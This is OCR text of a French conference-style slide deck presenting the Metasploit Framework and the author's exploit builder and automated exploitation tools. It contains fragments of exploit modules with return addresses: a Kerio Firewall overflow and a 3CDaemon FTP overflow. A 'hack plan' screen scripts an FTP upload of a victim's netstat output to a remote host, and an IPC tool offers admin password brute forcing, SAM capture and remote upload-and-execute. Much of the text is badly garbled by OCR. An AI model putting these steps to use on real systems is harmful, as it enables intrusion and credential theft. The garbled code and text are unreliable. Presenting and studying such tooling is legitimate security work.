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Présentation

C:\>whoami

Analyste-programmeur en province
Passionne de securité : autodidhackte

Présence dans différentes mailinglists / forums
Site: https://www.securinfos.info



https://www.securinfos.info/

Introduction

Une plateforme de tests d
Version 2.x : PER
Version 3.x : RUBY




Arborescence

Fichier  Edition  Affichage  Faworis  Ookils 7
@F‘récédente - LJ - 1]" ._:} _
Adresse qul Z:\Program FilesiMetasploitFramework3

— :
. Rechercher [| - Dossiers
i ¥

Dossiers X [ Mom -~
E ) FE ;I I‘"-_:'t'in
=2 bin et
I etc 2 hamne
1) home lﬁ:ﬂih
2 lib Qtmp
=) tmp Iusr
I usr Dvar
B var n:';.-'gwin.hat
= [5) Metasploit Framework: E Cygwin.ico
=3 bin 'T'_- dewvelopers _guide, pdf
) ete ._»lﬂ Metasploit 3
£ home #¥ rmetasplaoit.ico
= lib msfn:u:unsnle.l:-at
) shin Emsfcnnsnle.exe
=) tmp msFupdate.I:uat
= usr msfweh.hat
) var L .ThumI:us.cII:u



184 exploits - 99 payloads

17 encoders — 4 nops

msf v3.B-heta-dev
13 aux

et bl ]
i u nn




Interfaces

2§ Mletasploit Framework Wi

Webh Console

Help  petasploit: 3.0-beta-dew

: _ ol x|
Ficluer Edition  Affichase Fawors Oubils 2 | f
() Pricsdente ~ () ~ (%] & | ) Rechercher ;¢ Favoris €‘E| =l Fel

Adresse [ http-ifocalhost: 55555/ ~| EJox | Liems >
Google~ | = || G| Rechercher ~ | 2 Fa0sRank 0 193 bloguées) | A5 Orthographe ~ [ Options |-@ -
@ - localhost

W Eqoite = swdlieries W Payloads Encoders 8% Nops WM Sessions U= Jobs ©F IDE O ELHOHDE ISR I e )

lable Payloads
Search payload modules: |~3;. rmet

Modules

Wi e o il

eterpreter, Bind TCF Stager
Listen for & connection, Inject the meterpreter server DLL

|€| Terming

l_ l_ l_ l_ I_ |‘.J Intranet local




Processus d'Exploitation

Exploitation globale classique:

1) Reconnaissance — informations sur la
cible

2) Détection — identification des failles

3) Exploitation

4) Post-exploitation

5) Rapport pour le pen-tester



Failles predominantes
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This graph was generated by Secunia.
Based on vulnerability information available at http://secunia.com/




Risques importants
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System access (25.60%)
DoS (19.47%)

Privilege escalation (9.234%)
Exposure sensitive info (9.35%)
Exposure system info (4.22%)
Brute Force (0.11%)
Manipulation of data (8.25%)
Spoofing (1.64%)

Cross Site Scripting (11.57%)
Security bypass (B.83%)
Hijacking (0.34%)

Unknown (1.28%)

This graph was generated by Secunia.
Based on wvulnerability information available at http://secunia.com/




Déetection — identification des failles
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Exploitation

_11’?:]

Exploits

Encodage de payloads (eeny-tiny-weeny-winy)
Evasion (anti-IDS)

Etapes successives (stagers)



Post- Epr0|tat|on

Meterpreter + scripts
(VNC)




BDD d'opcodes du MSF

Avantages:

?{;‘ Détalllee (versions de DLL, opcodes [REG + X])
Recherche multi-criteres

Inconvénients:

Pas de recherche inversée (adresse => opcode/OS)
Limite des langues supportées (us, FR, DE)



BDD d'opcodes /JA

BDD internationale

Un peu d'hexa-vaudou... et :

1) Adresses de retour pour le méme opcode
trouvees sur plusieurs langues d'une méme

plateforme (adresses magiques / internationales / universelles)

2) Adresses de retour pour le méme opcode
trouvées sur plusieurs plateformes differentes

(adresses aliens)



BDD d'opcodes /JA

Internationale (us, FR, DE, IT, SP, NL, PL, CH)
@; Recherche multi-criteres — Recherche inversee...

+ Avantages:

Inconvénients:

Moins détaillée (opcodes classiques) (pour l'instant ;-))



« Défauts » du MSF
oD

Orienté cibles US

Obligation de modifier I'adresse de retour dans le code
d'un module exploit pour une cible non-US, « obligation »
de recharger le MSF pour prise en compte de cette
modification d'adresse.

Le type d'opcode n'est pas precise dans les exploits.



\ A/

=> Editeur d'exploits

=> Moteur de scan

=> BDD d'adresses de retour

=> Exploitation automatisee

=> Post-Exploitation automatisee

=> (Genération de rapports d'audit)

PLOITER

-~

BRBBODOCL



Editeur d'exploit

3 MSF-eXploit Builder - Jerome Athias : jerome.athias@free.fr

MSF-eXploit Builder - 1.0 beta 3

THEAPLOITER

I B | 3
hitps:{fwww_ securinfos.info

Module: |E:'\F‘mglam Filezb etazploitsFramework 3uhometbramework smoduleshexploitzhwindowsfirewallsk enio_auth b [| [;’] | Mouveau | | Erregistrer ‘ | Imprimer | | Test! |
MNom |Kerin Firewall 2.1.4 Authentication Packet Qyverflow | reguire ‘maf/core’ -
Werzion |$F|evisic-n: 10% | module Msf
Suteurs) ‘ME - | class Exploits:windows::Firewall:: Kerio_auth < Msf:Exploit:Remaote
-
include Exploit: Remote: Top
Arch | |
03 | | T e
superupdate_infolinfo,
r Payload ‘Marme' = Keno Firewall 2.1.4 Authentication Packet Overflow’,
Taille Dispo (1000 | Description’  => %o
Thiz module exploits a stack overflow in Kero Personal Firewall
Motz cléz | | adriiniztration authentization process. This module has anly been tested
i against Keno Perzonal Firewall 2 [2.1.4).
nops min nops max
o E—| nop I:I ’
Interdit g | Author’ =3 ML
'Licenze' = M5F_LICEMSE,
PrepEncodeu‘ | "Wersion' => "$Revision: 1.0 §,
e ‘References’ =
Deszcription  |This module exploits a stack overflow in Kerio Personal [EID", 71807
Firewall administration authentication process. This [CVE', 20030220,
module has only been tested againgt Kerio Personal [URL', ‘http: /vl corest. com/common/showdoc. php Pids=31 4kiduseccion=10
Firewall 2 [2.1.4]. .
- ‘DefaultDptions' =»
Cibles [windows 2000 Pro 5P4 English Ox7 = | , EXITFUNC' = ‘process’,
Adr retour |D:<?c2ecl38b | OLL | | Payload ( =
‘Space’ =» 1000,
Upcode l:l @ BadChars' =» "w00",
Nrcars | v| cp | v| Toe | "l 3 StackAdiustment' = -3500,
- Platform' =2 "win’,
Langue MULTI = ﬁr" Adr. retour |:|
‘Targets' =]
Références
T oF i: e [ "windows 2000 Pra SP4 English', { 'Ret' => Dx7c2ecESb } .
e S [ "wWindows P Pro SPO English’, { 'Ret'=» 0x77e3171b} ]
[BID", 71801 curity [ "indows %P Pro 5P1 English’, {‘Ret' = 0x77dc8527 1.
[CWE', "2003-02207 http:/ Ay e mitre. orgcgi-bindcvename. cgivt o 1
L Privileged'  =» true,

4
Date? | Date de divulgation Apnl 28 2003

Motz clés |

‘Digclosurelate’ = ‘bl 28 2003,




Assistant
||

MSF-XB Assistant - Jerome Athias QEE
Yerzion:
{*) MSF 2
() MSF 3x Cible windows = | Type/ protocole |ft|:| - |
Port par défaut IPdetest  [127.0.0. |
Itiligateur Mot de passe |test |
Fuzzer |ftpfu22 - | LEEEEEJ
Application |GeneE FTF Server |
Barnigre  |220 Genef FTP Server v3.8.0 (Buid 34] ready... |
Bannigre Hexa |< 00000000 32 3230 2047 65 Be BR 36 2046 54 B0 2063 66 # 220 Genek FTF Se
00000010 72 VERE F2 20 7B 33 22 38 20 30 20 28 42 TR 69 # rver v3.8.0 [Bui
< 00000020 6o B4 20 3334 292072 6561 B4 79 2e 2e 2o 0d # 1d 34) ready....
< 0000030 Da #.
< 00000031 33333 200061 737377 B 7264 20 F2E0 71 # 331 Pazsword req
< 00000041 YR E9 72 6064 2066 Bf 72 20 74 65 73 74 2e Od $ wired for test.,
< 00000051 Da #.
< 00000052 32 33 30 2055 7365 72 20 VA BR 73 74 20 B 6f # 230 User test o
< Q00000E2 67 67 B5 64 20 69 6e 22 0d Da # ggedin...
Commands |STIIIF| - < Q00000G: 34 32 31 20 43 Bf Be Be B5 B3 74 B9 6f Be 20 B3 # 421 Connection
Froceszsus |I::"~F'r|:|gram FileghMizro ApplicationyF TP Serveur Expert\GEFTPServer.exe | E Wersion |3.8.III.34 |
PID [2 132 | | MEMDLMP | Editeur |Geneb |

Lizter les opoodes aveu: Opcode |JUMF’ T| HEG|TEIL|S v|
Faramétres |L Lister ]




—

THE PLOITER

Outils : convertisseur Hex/Ascii...

A athentication Packet Overflow | [require 'msf/core’
¥ B, g, B
Table ASCIl - MSF-XB - hitps://www_securinfos. info B @ [}-{j
Dec HxOct Char Dec Hy Oct Hitml Chr  [Dec Hy Oct Hirml Chr) Dec Hx Qct Himl Chr
0 0000 NOL {null) 32 20 040 &#32; Space| 64 40 100 &#64; [ | 96 60 140 s#96;
1 1 001 30H (start of heading) 33 21 041 &#33:7 ! 65 41 101 &«#65; & | 97 gl 141 &«#97; a
2 2 002 5TX (start of text) 34 22 042 &#34; " 66 42 102 s#66; B | 95 62 142 &#95; b
3 3 003 ETX (end of text) 35 23 043 &#35; # 67 43 103 &«#67: C | 99 63 143 &#99; ©
4 4 004 EOT (end of transmission) 36 24 044 #3607 § 65 44 104 &#68; D |100 64 144 «#100; d
5 5 005 ENOQ ({endquiry) 37 25 045 &#377 % 69 45 105 &#63; E |101 65 145 &#101; &
6 6 006 ACE [acknowledoge) 38 26 046 &#38; = 70 46 106 «#70; F |10Z 66 146 &#102; £
77 007 BEL (bell) 39 27 047 &#39; ' 71 47 107 &#71: G (103 67 147 &#103; O
8 & 010 B3 (backspace) 40 28 050 &#40; | 72 43 110 &#72; H |104 68 150 &#104; h
9 9 011 TAE (horizontal tab) 41 29 051 &#dl; ) 73 49 111 «#73; I |l05 69 151 &#105; 1
] 10 & 012 LF (NL line feed, new line)| 42 24 052 &#d2; & 74 4 112 «#74; 7 |106 64 152 &#106; ]
i 11 B 013 VT (wertical tab) 43 ZB 053 &#43; + 75 4F 113 «#75; K |107 6B 153 &#107; k
12 C 014 FF (NP form feed, new page)| 44 2ZC 054 &#4dd; , 76 4C 114 «#76; L |105 6C 154 &#108; 1
13 D 015 CR (carriage return) 45 ZD 055 &#45; - 77 4D 115 &#77; M (109 gD 155 &#109; m
14 E 016 30 (shift out) 46 ZE 056 &#467 . 78 4F 1la &#78: N |110 6E 156 &#110; 1
1% F 017 31  (shift in) 47 ZF 057 &«#47; 79 4F 117 &«#79; 0 (111 &F 157 &#lll; o
3 16 10 020 DLE (data link escape) 48 30 060 &#45: 0 80 50 120 &#80: P |112 70 160 &#112; p
17 11 021 DC1 jdevice control 1) 49 31 05l &#49; 1 8l 51 121 &#81; 0 (113 71 1el &#113: g
£ 18 12 022 DCZ2 (device control 2 50 32 062 &#50; 2 G2 52 122 &#38Z; B |114 72 lez &#ll4; ¢
19 13 023 DC3 (device control 3) 81 33 063 &#51: 3 83 53 123 &#83:; 5 |115 73 163 «#115:; 5
20 14 024 DC4 (device control 4) 52 34 054 &#52; 4 g4 54 124 &#34; T |116 74 1g4 &#lle; ©
21 15 025 NAE (negatiwve acknowledge) 53 35 065 &#53: 5 G5 55 125 &#35; T |117 75 165 &#117: u
22 16 026 5¥N (synchronous idle) 54 36 066 &#54:; 6 a6 56 126 &#36; V |118 76 leg &#ll&; ¥
23 17 027 ETE (end of trans. block) 85 37 087 &#55:; 7 g7 57 127 &#37; W |119 77 167 &#119; w
24 18 030 CAN (cancel) §6 358 070 &#56; 8 88 58 130 &#33; X |120 78 170 &#120; X
25 1% 031 EM  (end of medium) 87 39 071 «#57: 9 g9 59 131 &#39; ¥ |121 79 171 &«#1Z1: ¥
26 14 032 5UE (substitute) 58 34 072 &#58:; & 0 5h 132 &#90; 2 (122 ThA 172 &#lZE; 2
27 1B 033 E3C (escape) 59 3B 073 &#59; : 9] 5B 133 &#91; [ |123 7B 173 &#123; |
28 1C 034 F3  (file szeparator) 60 3C 074 &#o60; < 02 5C 134 &#3Z; % (124 7C 174 &#124;
[ 29 1D 035 G35 (group sSeparator) 61 3D 075 &#6l; = 93 5D 135 &#93; ] |125 7D 175 &#125; }
30 1E 036 R3 (record separator) 62 3E 076 &#6i; > 94 5E 136 &«#94; *~ (126 TE 176 &#l2a; ~
31 1F 037 T3 |[unit separator) 63 3F 077 &#63; 7 95 5F 137 &#95; _ |127 7F 177 &#127; DEL
Source: www.LookupTables .com
Bad Chars  |"w00" | @'  BadChars |NUL




Outils : impression

a Prévisualisation de I'état ETAT_EXPLOIT _CODE ) [ = |I:||i|

|F_H f —_—
2% - f) A {? « < B D> @
@ HTML POF ‘ ML [ ] Emal ||l Emai POF
Exporter vers POF...

3Com 3CDaemon FTP Server Overflow

I

# Thisfile is part of the M etasploit Framewark and may be redistributed
# according to the licenses defined in the Authors field below. In the

# casze of an unknown or missing license, thisfile defaults to the same
#license as the core Framewark (dual GPL2 and Artistic). The latest
#wersion of the Framework can akways be obtained from metasploit.com.
I

#Edited with MSFxB

package Msf:Exploit: 3com_Jcdaeman_ftp_overflow;
use base "M st Exploit";

use strict

use Pex:Text

iy Fadvanced=1{ %

rmy Finfo =

{
Mame' == "ICom IC0aeman FTF Senver O erflow’,
“ersion' == "fRevision: 1.6 §,
‘Authore'== [ 'H D Moore =hdm [at] metasploit.com='],
Arch' == [ %86'],
05 == [ 'win32', "win2000", winxp'],




Outils : testeur d'exploit

9 thexploiter - Jerome Athias _""| = |I:I|£[
RHOST:  [192168.0.2 | RFORT:

E wploit; |3|:nm_3|:|:|aeml:un_ftp_-:werfll:uw | Opcode; ||:u:||:|f|:n:||:u"ret |

Favload: |F'ayll:|a|:|: vl DLL: |w32help.dll |

Cible;

DS:‘:I Wersion; vl Langue: MULTI = | Service F‘ack:‘:\

Badchars: | | Adr. retour | '-'| @;

i Parameétre OQF W aleur CQEI
FTPRASS -
FTPUSER

Proxies

RHOST 192.168.0.2

RPORT iy

55L

TARGET

-

| EXPLOITER |

4




9 thexploiter - Jerome Athias : jerome.athias@free.fr i N =10

theXploiter - 1.0 BETA 1 IPLAN: [132168.05 I il d o epireup  NEEps://www securinfos.info
Exploits M5F
Dumaine!UHL:|nssir.nrg | Iarine.net R4 ﬂ J ﬂ
P1 192 |8 [0 |p | &
P2 1192 |[168 [0 | [255 | Scan avec [NMaF B Paramétes |4 -P0 | G0
Fichier : [C:\Mes PrajetsiMSF-KBLOVExe\TEMP. THT || ﬂ
- Emploits
i 05:
Résultatz pour | E | | Bl
Hﬁ[ﬁ:| | ﬁutDHack Hack Plan ||| View Live Report
Bechercher
I ETAT 3 SERVICE VERSION B EXPLOITS A IDEXPLOIT Qﬁ IPC._
-
Fuzzer

Gestion




3 Exploit - Entétes - Jerome Athias : jerome.athias@free.fr

2 L e T R

Hom_fichier [3com_3cdaemon_ftpoverflow. pm

HEADER

Libellé e DEXPLOIT ’E‘
ACom 3C0aemon FTP Server Yersion !

ACom 3CDaemon ftpd 2.0

i I

Supprimer

2 -13lx]




9 theXploiter - Jerome Athias : jerome.athias@free.fr _"_l i | |:||£|

theXploiter - 1.0 BETA 1 IPLAN: [192168.05 IPWAN | @ i epiteur  etps://iwww.securinfos.info
Y Hack Plan ] N [

Yanables globales: IPLAN, IPwAN

Exécution: Commarde: | | @ @ @ @

* EXECUTION % COMMANDE FARAMETRE E

1|REMOTE R

2 REMOTE cd Temp e

3 REMOTE nietstat -an netstat bt

4 REMOTE echo open 192.168.0.250:FTPSCRIPT. cmd yluitbr

5 REMOTE echo testy»FTPSCRIPT.cmd b 0
& REMOTE echo testy >FTPSCRIPT .cmd Ehﬂ%
7 REMOTE echo put netstat bax>FTPSCRIPT.cmd

o BEMATE ke nab nesaniea suss s ETRECRIBT crmd LR




IPC manipulator

R =IE

IP: |
LOGIN : |.f1'-.|:|ministrateur
Passwords : | | | Brute Foice
PASS : |
Mode:

SHARE IC$ s
Commande : | B & Executer Capture SAM
Source : | | |
Hepraysten Transfert:

. UPLOAD [~ Then Execute
& C."-,W|NDDWS"-,5}F5tEM32‘-, ™ DOWNLOAD

[” Then DELete

Destination : |
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